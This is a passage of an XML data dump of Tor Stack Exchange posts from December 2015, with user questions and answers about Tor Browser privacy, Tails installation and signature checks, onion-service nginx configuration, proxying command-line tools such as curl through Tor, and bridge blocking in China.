CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9215" PostTypeId="2" ParentId="9214" CreationDate="2015-12-14T21:57:39.520" Score="1" Body="&lt;p&gt;Tor is about hiding who you are, not what you do. Unless you are using end-to-end encryption, someone who is listening can see what you do. That is why logging into Facebook is a bad idea -it deanonymizes you for the potential listener.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Should I always keep a second normal browser open to use Facebook or&#xA;  can I do this in the Tor browser without compromising my privacy (on&#xA;  any other site I visit)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can do this, but there are potential risks. &lt;a href=&quot;https://www.schneier.com/blog/archives/2013/12/nsa_tracks_peop.html&quot; rel=&quot;nofollow&quot;&gt;Cookie extraction&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Timing_attack&quot; rel=&quot;nofollow&quot;&gt;timing attacks&lt;/a&gt; being two of them. I wouldn't worry about it too much though.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or put differently, can I just substitute my regular browser with the&#xA;  Tor browser without becoming entirely religious or a zealous vegan&#xA;  about my normal browsing habits.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can, but the question is why you would want to do that. Tor is not really fit for day-to-day browsing.. You will leak personal information.&lt;/p&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2015-12-14T21:57:39.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9216" PostTypeId="1" CreationDate="2015-12-15T02:25:40.647" Score="1" ViewCount="1157" Body="&lt;p&gt;I have a usb drive that I need to install Tails on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can install Tails via Virtualbox using the ISO (which i verified) but the problem is that I have to boot into the USB to configure Tails Persistance which virtualbox is not allowing me to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought my issue was with the USB, which is a SanDisk Cruzer Glide 32GB but after looking here: &lt;a href=&quot;https://tails.boum.org/support/known_issues/&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/support/known_issues/&lt;/a&gt; - It does not seem to be the issue&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried booting to the USB with this guide here: &lt;a href=&quot;http://www.howtogeek.com/187721/how-to-boot-from-a-usb-drive-in-virtualbox/&quot; rel=&quot;nofollow&quot;&gt;http://www.howtogeek.com/187721/how-to-boot-from-a-usb-drive-in-virtualbox/&lt;/a&gt; - Since Virtualbox does not allow me via their interface to boot through USB but its stuck on &quot;Loading... Please Wait...&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I tried to boot into the USB via loading the &quot;The Plop Boot Manager&quot; and using it to boot into the USB. It found the USB but then it would just freeze.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think its because of the USB I am using but its not on the list. (Unless every Sandisk is bad)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After not getting anything - i formatted the USB via Rufus&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solutions?&lt;/p&gt;&#xA;" OwnerUserId="10200" LastActivityDate="2015-12-21T12:52:20.853" Title="So I need to install a Persistent Tails on a USB Drive - The only PC I have cannot boot to USB - What can i do?" Tags="|tails|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9217" PostTypeId="2" ParentId="4285" CreationDate="2015-12-15T02:44:16.823" Score="0" Body="&lt;p&gt;ELI5&#xA;No. It is never enough to uniquely identify you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOWEVER, it does narrow it down somewhat, and when used with other data collection, could all be pieced together to uniquely identify you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this is unlikely. It means someone has to get all these pieces in the first place, all from different sources, willing to give up their piece.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if the someone who is looking for all the pieces is quite powerful, well, it is possible.&lt;/p&gt;&#xA;" OwnerUserId="10201" LastActivityDate="2015-12-15T02:44:16.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9218" PostTypeId="1" CreationDate="2015-12-15T06:31:00.340" Score="3" ViewCount="3309" Body="&lt;p&gt;Today, I use obfs4 ,fte and scramblesuit to connect network unsuccessfully.Are they disabled by the GFW?What happend?&lt;/p&gt;&#xA;" OwnerUserId="9827" LastEditorUserId="9827" LastEditDate="2015-12-15T06:37:23.583" LastActivityDate="2016-03-27T03:11:29.970" Title="Why can't obfs4 , scramblesuit and fte be used in China now?" Tags="|pluggable-transports|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9219" PostTypeId="1" CreationDate="2015-12-15T07:42:59.007" Score="3" ViewCount="85" Body="&lt;p&gt;In my pcap file capturing Tor traffic, there are connections to 2 Directory Servers (x.x.x.x:9001 and y.y.y.y:443) and they started nearly at the same time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is that is it normal or not? &#xA;and why does Tor client connect to multiple Directory Servers?&lt;/p&gt;&#xA;" OwnerUserId="8107" LastActivityDate="2016-04-25T21:30:56.283" Title="Does Tor client connect to multiple Directory Servers?" Tags="|directory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9220" PostTypeId="2" ParentId="9218" CreationDate="2015-12-15T13:20:35.607" Score="0" Body="&lt;p&gt;I believe at least integrated meek-azure bridge still works, although it seems lots of bridges have been blocked recently.&#xA;How many bridges you've added? Do you check your Tor log? Any warning messages like 'connection failure?' &lt;/p&gt;&#xA;" OwnerUserId="3386" LastActivityDate="2015-12-15T13:20:35.607" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9221" PostTypeId="2" ParentId="9213" CreationDate="2015-12-15T13:22:52.363" Score="1" Body="&lt;p&gt;It seems that only the built-in add-ons page of Firefox has this problem. If one installs via &lt;a href=&quot;https://addons.mozilla.org/&quot; rel=&quot;nofollow&quot;&gt;https://addons.mozilla.org/&lt;/a&gt; it works.&lt;/p&gt;&#xA;" OwnerUserId="10208" LastActivityDate="2015-12-15T13:22:52.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9222" PostTypeId="1" CreationDate="2015-12-15T17:12:30.407" Score="0" ViewCount="1712" Body="&lt;p&gt;Is there way to pro grammatically click on new identity button in tor browser in Windows as well Linux?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked Selenium as well other tools but I want browser extension not external tool as I don't have admin privilege&lt;/p&gt;&#xA;" OwnerUserId="10211" LastActivityDate="2018-07-04T04:49:13.887" Title="Tor Browser Automation" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9223" PostTypeId="1" CreationDate="2015-12-15T17:49:59.900" Score="5" ViewCount="282" Body="&lt;p&gt;See screenshot below. Arm seems to calculate a wrong average: &amp;quot;avg: 2.3 MB/sec&amp;quot;.&#xA;I haven't been close to 2.3 MegaByte/sec; not even as peek.&lt;/p&gt;&#xA;&lt;p&gt;That's my relay:&#xA;&lt;a href=&quot;https://atlas.torproject.org/#details/583F17298E905D1D1BCF8EB49DAEE5939B51FD70&quot; rel=&quot;noreferrer&quot;&gt;https://atlas.torproject.org/#details/583F17298E905D1D1BCF8EB49DAEE5939B51FD70&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that I have set &amp;quot;features.graph.bw.transferInBytes true&amp;quot; in the armrc.&#xA;When I set it back to &amp;quot;features.graph.bw.transferInBytes false&amp;quot;, which is default, all values, including the high average, go up by factor eight. So no bit/byte confusion as far as I can see.&lt;/p&gt;&#xA;&lt;p&gt;Anybody experiencing the same?&lt;/p&gt;&#xA;&lt;p&gt;What time period is arm using for averaging by the way?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UmXr5.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UmXr5.png&quot; alt=&quot;arm&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10204" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2022-03-30T09:00:40.087" Title="Wrong average bandwidth stats in arm?" Tags="|bandwidth|nyx|stats|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9225" PostTypeId="1" CreationDate="2015-12-15T20:53:07.207" Score="0" ViewCount="731" Body="&lt;p&gt;When I use Tor as a socks5 proxy for my applications, is there a limit in the number of connections I can perform to other hidden services (addresses.onion)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am developing an application to check the online status of a big list of onion hidden services. How many connections should it try simultaneously to be the most efficient?&lt;/p&gt;&#xA;" OwnerUserId="8201" LastActivityDate="2015-12-15T20:53:07.207" Title="Is there a limit in the number of connections?" Tags="|configuration|onion-services|relays|security|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9226" PostTypeId="1" AcceptedAnswerId="9227" CreationDate="2015-12-16T01:22:59.937" Score="1" ViewCount="317" Body="&lt;p&gt;I have a few hidden services on my Ubuntu Server using Nginx. My torrc looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hs1&#xA;HiddenServicePort 80 127.0.0.1:8081&#xA;&#xA;HiddenServiceDir /var/lib/tor/hs2&#xA;HiddenServicePort 80 127.0.0.1:8082&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can access the homepage of both using their onion addresses, but clicking any subdirectories &lt;em&gt;e.g.&lt;/em&gt; *.onion/blog/ sends me to *.onion:8081/blog/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know all the basics are set up correctly, I can access both sites from localhost and through Tor, but anything besides the index page is sent to the local port, not the virtual port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Nginx configuration for HS1 is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server {&#xA;        listen 127.0.0.1:8081;&#xA;        server_name testoniondomain1.onion;&#xA;        root /var/www/sites/hs1;&#xA;        index index.html index.htm index.php;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing something obvious or is there a problem with my configuration? Thank you in advance&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;UPDATE: Similar question which doesn't help: &lt;a href=&quot;https://tor.stackexchange.com/questions/8995/running-multiple-hidden-services-in-nginx&quot;&gt;Running multiple hidden services in nginx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10072" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-12-16T01:51:42.040" Title="Accessing my hidden service through Tor me sends to the wrong port" Tags="|onion-services|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9227" PostTypeId="2" ParentId="9226" CreationDate="2015-12-16T01:51:42.040" Score="2" Body="&lt;p&gt;Are you sure it's &lt;em&gt;clicking&lt;/em&gt; on subdirectories causing the problem?  nginx should just provide any existing file/directory that exists, and should not be aware what port it is serving the content on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, on the other hand, the problem is that &lt;em&gt;going to&lt;/em&gt; *.onion/subdir  (no slash at the end) redirects to *.onion:8081/subdir/, then you might be looking for the &lt;strong&gt;port_in_redirect off&lt;/strong&gt; directive in the &lt;strong&gt;server&lt;/strong&gt; block, as described in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://nginx.org/en/docs/http/ngx_http_core_module.html#port_in_redirect&quot; rel=&quot;nofollow&quot;&gt;http://nginx.org/en/docs/http/ngx_http_core_module.html#port_in_redirect&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using further proxied servers, there may be other tweaks needed.&lt;/p&gt;&#xA;" OwnerUserId="10214" LastActivityDate="2015-12-16T01:51:42.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9228" PostTypeId="2" ParentId="9149" CreationDate="2015-12-16T02:04:00.177" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://askubuntu.com/questions/410057/tor-in-command-prompt&quot;&gt;I found a few answers on Google, like this one&lt;/a&gt; and &lt;a href=&quot;https://tor.stackexchange.com/questions/3918/how-to-anonymize-the-programs-from-the-terminal&quot;&gt;a similar question has been asked before on this site&lt;/a&gt; This solution should work for those who have installed Tor (rather than Tor Browser) and it has some good links.&lt;/p&gt;&#xA;&lt;p&gt;As said by michael g and one of the answers on askubuntu: Tor Browser users can use proxychains &lt;a href=&quot;http://proxychains.sourceforge.net/howto.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here is the How To&lt;/a&gt;. By default it is configured to use SOCKS4 which means it cannot use remote DNS &lt;a href=&quot;https://www.whonix.org/wiki/Comparison_Of_Tor_with_CGI_Proxies,_Proxy_Chains,_and_VPN_Services#Comparison&quot; rel=&quot;nofollow noreferrer&quot;&gt;as shown in this table&lt;/a&gt; which is probably why michael g suggested it might be worth configuring your firewall to drop all UDP packets and use IP addresses. This is however not an appealing solution to most users as it will break DNS on you non Tor browser (if you use one) and break any programs that rely on UDP. Then there's the fact that you will have to somehow get the required IP address &lt;em&gt;anonymously&lt;/em&gt; and configure the command line program to use that IP address (as opposed to make a DNS query). So instead of all that, simply edit &lt;code&gt;/etc/proxychains.conf&lt;/code&gt; and configure proxychains to use SOCKS5 then make sure that proxychains is properly proxying your DNS.&lt;/p&gt;&#xA;&lt;p&gt;Here is a helpful link: &lt;a href=&quot;http://www.switchroot.com/how-to-run-apt-get-wget-whois-etc-via-socks-proxy-using-proxychains&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.switchroot.com/how-to-run-apt-get-wget-whois-etc-via-socks-proxy-using-proxychains&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;So my question is how can I use my command line utilities, or say whole operating system using Tor? To stay anon 100%?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It won't be for everyone but using &lt;a href=&quot;https://www.whonix.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;whonix&lt;/a&gt; forces you to use Your whole OS (including command line) through Tor and should make leaks of your real IP address very unlikely, the other two methods may leak your real IP address in certain circumstances. Whonix prevents this, here is a quote from their website&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Whonix consists of two parts: One solely runs Tor and acts as a gateway, which we call Whonix-Gateway. The other, which we call Whonix-Workstation, is on a completely isolated network. Only connections through Tor are possible. With Whonix, you can use applications and run servers anonymously over the internet. DNS leaks are impossible, and not even malware with root privileges can find out the user's real IP.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It's not for everyone because it may involve changing operating systems but I thought it was worth mentioning. 100% anonymity is impossible but whonix is pretty good.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Edit to answer question:&lt;/h1&gt;&#xA;&lt;p&gt;Tails is a very powerful anonymity tool. However I suggested Whonix because I believe it is less likely to leak your real IP address than anything else and that includes Tails. Here is why:&lt;/p&gt;&#xA;&lt;p&gt;Tails knows your IP address. Tails uses iptables/firewall rules to prevent proxy bypass but it can still leak your IP address, &lt;a href=&quot;https://labs.riseup.net/code/issues/10364&quot; rel=&quot;nofollow noreferrer&quot;&gt;look at this recent bug in Tails that was fixed in Tails 1.7&lt;/a&gt;. Part of your question was how to use the command line through Tor and you gave the example &lt;code&gt;wget&lt;/code&gt; the bug (now fixed) allowed Tails to leak the IP addresses of people using &lt;code&gt;wget&lt;/code&gt; for FTP in some situations. &lt;a href=&quot;https://labs.riseup.net/code/issues/10365&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails has opened another ticket&lt;/a&gt; to find out if Nautilus and/or Tor Browser are also leaking users IP addresses when they use FTP. There has been no research added to the ticket yet.&lt;/p&gt;&#xA;&lt;p&gt;As far as I know this would not be possible on Whonix. Whonix workstation does not know your real IP address so it is very unlikely to leak it.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Tails or Whonix?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;That depends on what exactly you are looking for in an OS. I cannot possibly cover everything here but the Whonix website does have a pretty good &lt;a href=&quot;https://www.whonix.org/wiki/Comparison_with_Others#Attacks&quot; rel=&quot;nofollow noreferrer&quot;&gt;comparison of how different systems deal with attacks&lt;/a&gt; (the whole page is probably interesting to you). I don't think it's too biased :)&lt;/p&gt;&#xA;" OwnerUserId="7883" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-12-28T20:44:13.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9229" PostTypeId="1" AcceptedAnswerId="9231" CreationDate="2015-12-16T04:04:10.923" Score="0" ViewCount="72" Body="&lt;p&gt;For example if I run curl from the command line does this go through tor? what about spottify, or other browsers? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, is this a risk, can I access the internet from other apps while i'm using the tor browser bundle?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry about the basic question.&lt;/p&gt;&#xA;" OwnerUserId="10216" LastActivityDate="2015-12-16T07:13:00.997" Title="Do other apps use tor when the browser bundle is running?" Tags="|tor-browser-bundle|deanonymization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9230" PostTypeId="1" AcceptedAnswerId="9232" CreationDate="2015-12-16T07:01:51.830" Score="8" ViewCount="9123" Body="&lt;p&gt;I have tried using curl through tor like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; curl --socks5 127.0.0.1:9050 XXXXXXXXXXXXXXX.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works for public addresses like stackoverflow.com but not for tor .onion addresses&lt;/p&gt;&#xA;" OwnerUserId="10216" LastEditorUserId="88" LastEditDate="2015-12-16T10:53:05.740" LastActivityDate="2015-12-19T17:46:05.100" Title="resolve .onion address from bash" Tags="|onion-services|socks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9231" PostTypeId="2" ParentId="9229" CreationDate="2015-12-16T07:13:00.997" Score="3" Body="&lt;p&gt;Quoting from the Tor Project &lt;a href=&quot;https://www.torproject.org/download/download.html.en&quot; rel=&quot;nofollow&quot;&gt;download page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor does not protect all of your computer's Internet traffic when you&#xA;  run it. Tor only protects your applications that are properly&#xA;  configured to send their Internet traffic through Tor. To avoid&#xA;  problems with Tor configuration, we strongly recommend you use the Tor&#xA;  Browser. It is pre-configured to protect your privacy and anonymity on&#xA;  the web as long as you're browsing with the Tor Browser itself. Almost&#xA;  any other web browser configuration is likely to be unsafe to use with&#xA;  Tor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2015-12-16T07:13:00.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9232" PostTypeId="2" ParentId="9230" CreationDate="2015-12-16T10:33:45.793" Score="12" Body="&lt;p&gt;You should use &lt;code&gt;--socks5-hostname&lt;/code&gt; instead of just &lt;code&gt;--socks5&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, the socks5 proxy does the hostname resolution. Otherwise curl tries to resolve the hostname itself, which it can't. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-12-16T10:33:45.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9234" PostTypeId="1" CreationDate="2015-12-16T16:12:34.713" Score="1" ViewCount="424" Body="&lt;p&gt;I downloaded Tails 1.8, along with its signature file, installed Gpg4win as instructed and followed the instructions to verify the signature. (Tried my best to understand the considerably confusing guide)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I got&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Signed on 2015-12-15 10:13 with unknown certificate     &#xA;0xBA2C222F44AC00ED9899389398FEC6BC752A3DB6.&#xA;The validity of the signature cannot be verified.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does that mean? Did I do it wrong? Should I not use this iso?&lt;/p&gt;&#xA;" OwnerUserId="10219" LastActivityDate="2018-05-18T21:39:18.730" Title="Signature not verified" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9235" PostTypeId="2" ParentId="9136" CreationDate="2015-12-16T18:16:18.823" Score="1" Body="&lt;p&gt;I read &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO#ToroverTor&quot; rel=&quot;nofollow&quot;&gt;this document&lt;/a&gt; which says it is possible to use a transparent proxy to create what they call a &quot;Tor over Tor scenario&quot; (or a chain of two tor circuits). It is however not recommended because they say &quot;It is not clear if this is safe&quot;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When using a transparent proxy, it is possible to start a Tor session from the client as well as from the transparent proxy, creating a &quot;Tor over Tor&quot; scenario. Doing so produces undefined and potentially unsafe behavior. In theory, however, you can get six hops instead of three, but it is not guaranteed that you'll get three different hops - you could end up with the same hops, maybe in reverse or mixed order. It is not clear if this is safe. It has never been discussed. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I understand correctly this is the possible solution you are describing with tortilla and the document shows you are right. However as you can see the circuits don't seem to work in the expected way and not enough research is being done to find out how this effects anonymity.&lt;/p&gt;&#xA;" OwnerUserId="7883" LastEditorUserId="7883" LastEditDate="2015-12-16T18:50:10.253" LastActivityDate="2015-12-16T18:50:10.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9238" PostTypeId="1" AcceptedAnswerId="9285" CreationDate="2015-12-16T22:38:46.597" Score="1" ViewCount="1857" Body="&lt;p&gt;I want to launch multiple Tor browsers at the same time and each one of them having its own IP address that I set into the torcc file. I tried &lt;a href=&quot;https://tor.stackexchange.com/questions/2006/how-to-run-multiple-tor-browsers-with-different-ips&quot;&gt;this method&lt;/a&gt; but all secondary browsers have the same IP address of the first browser, even if I changed the &lt;code&gt;ExitNodes&lt;/code&gt; in torcc file of each one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The principle torcc file contain this code:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1 or similar, and Tor will ignore it&#xA;&#xA;DataDirectory C:\Program Files\Tor Browser\Browser\TorBrowser\Data\Tor&#xA;GeoIPFile C:\Program Files\Tor Browser\Browser\TorBrowser\Data\Tor\geoip&#xA;GeoIPv6File C:\Program Files\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6&#xA;&#xA;&#xA;ExitNodes ip1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second one contains almost the same code, except I want a different IP address: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1 or similar, and Tor will ignore it&#xA;&#xA;DataDirectory C:\Users\ABDEL\Desktop\tor\2\Tor Browser\Browser\TorBrowser\Data\Tor&#xA;GeoIPFile C:\Users\ABDEL\Desktop\tor\2\Tor Browser\Browser\TorBrowser\Data\Tor\geoip&#xA;GeoIPv6File C:\Users\ABDEL\Desktop\tor\2\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6&#xA;&#xA;ExitNodes ip2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even if I connect with the second Tor, I still have this IP address ip1&lt;/p&gt;&#xA;" OwnerUserId="10213" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-12-25T21:32:43.417" Title="Open multiple Tor browsers with different IP addresses each" Tags="|ip-address|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9239" PostTypeId="1" CreationDate="2015-12-17T00:14:06.637" Score="3" ViewCount="2618" Body="&lt;p&gt;How would i block tor2web and proxies like that from my tor hidden services? Like a nginx rule or something to make sure no one can access my tor hidden service through these services.&lt;/p&gt;&#xA;" OwnerUserId="10224" LastActivityDate="2016-09-14T12:50:03.343" Title="block tor2web, onion.city,cab, .link etc" Tags="|configuration|onion-services|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9240" PostTypeId="1" AcceptedAnswerId="9243" CreationDate="2015-12-17T05:02:29.320" Score="3" ViewCount="177" Body="&lt;p&gt;I downloaded new TOR and got an ad on the top of the browser stating &quot;Please support TOR   DONATE&quot; with a pic of Cory Doctorow on the top of the page. I never saw TOR advertise before. Is this the real TOR or am I compromised? &lt;/p&gt;&#xA;" OwnerUserId="3495" LastActivityDate="2015-12-17T05:45:42.470" Title="TOR asking for donations?" Tags="|configuration|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9243" PostTypeId="2" ParentId="9240" CreationDate="2015-12-17T05:45:42.470" Score="3" Body="&lt;p&gt;The latest &lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-505-released&quot; rel=&quot;nofollow&quot;&gt;release info&lt;/a&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor Browser 5.0.5 comes with a banner supporting our donations&#xA;  campaign. The banner is visible on the about:tor page and features&#xA;  either Roger    Dingledine, Laura Poitras or Cory Doctorow which is&#xA;  chosen randomly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-12-17T05:45:42.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9244" PostTypeId="1" CreationDate="2015-12-17T06:19:47.130" Score="2" ViewCount="1415" Body="&lt;p&gt;Few days ago I decided to try Tor at my phone to see if it consumes so much battery. From the beginning it was really good, but two days ago, this started to happen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dzx1d.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to put a proxy with &lt;code&gt;localhost:8118&lt;/code&gt; at every app I have installed, but can't get what app is causing me that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I own a Nexus 4 with Chroma Lollipop with few Google apps and some like Twitter and so (If you want to see a full list I could get it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Orbot has no relay, exit or entrance node, it has the default config.&lt;/p&gt;&#xA;" OwnerDisplayName="user9394" LastEditorUserId="88" LastEditDate="2016-03-17T22:36:01.090" LastActivityDate="2016-03-17T22:36:01.090" Title="&quot;All routers are down or won't exit&quot; from a few days" Tags="|orbot|android|routers|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9245" PostTypeId="2" ParentId="9234" CreationDate="2015-12-17T09:17:54.007" Score="1" Body="&lt;p&gt;You haven't done anything wrong. This warning basically means that the certificate it's signed with can't actually be trusted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the part of the page that describes how to &lt;a href=&quot;https://tails.boum.org/download/index.en.html#verify&quot; rel=&quot;nofollow&quot;&gt;verify the ISO&lt;/a&gt;, there's a warning:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Those techniques rely on standard HTTPS and certificate authorities to&#xA;  make you trust the content of this website. But, as explained on our&#xA;  warning page, you could still be victim of a man-in-the-middle attack&#xA;  while using HTTPS.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As a consequence, they don't provide you with a strong way of checking&#xA;  the ISO image authenticity and making sure you downloaded a genuine&#xA;  Tails.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The guide goes on to make &lt;a href=&quot;https://tails.boum.org/download/index.en.html#authenticity-check&quot; rel=&quot;nofollow&quot;&gt;suggestions&lt;/a&gt; on how to further increase your trust in what you've downloaded. That said, none of the methods are foolproof. You'll have to decide how much trust you have in them, as discussed in a previous thread: &lt;a href=&quot;https://tor.stackexchange.com/questions/7596/can-tails-confidence-suggestions-be-trusted/8642#8642&quot;&gt;Can TAILS &amp;quot;confidence&amp;quot; suggestions be trusted?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-12-17T09:17:54.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9247" PostTypeId="1" CreationDate="2015-12-17T10:42:15.093" Score="1" ViewCount="491" Body="&lt;p&gt;I'm trying to get a new onion address for my hidden service on Orbot.&lt;br&gt;&#xA;The problem is it does not auto generate a hostname. How can I force this app to do so?&lt;/p&gt;&#xA;" OwnerUserId="10227" LastEditorUserId="350" LastEditDate="2015-12-17T16:43:08.850" LastActivityDate="2015-12-17T16:43:08.850" Title="How to change orbot android hidden service address?" Tags="|onion-services|orbot|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
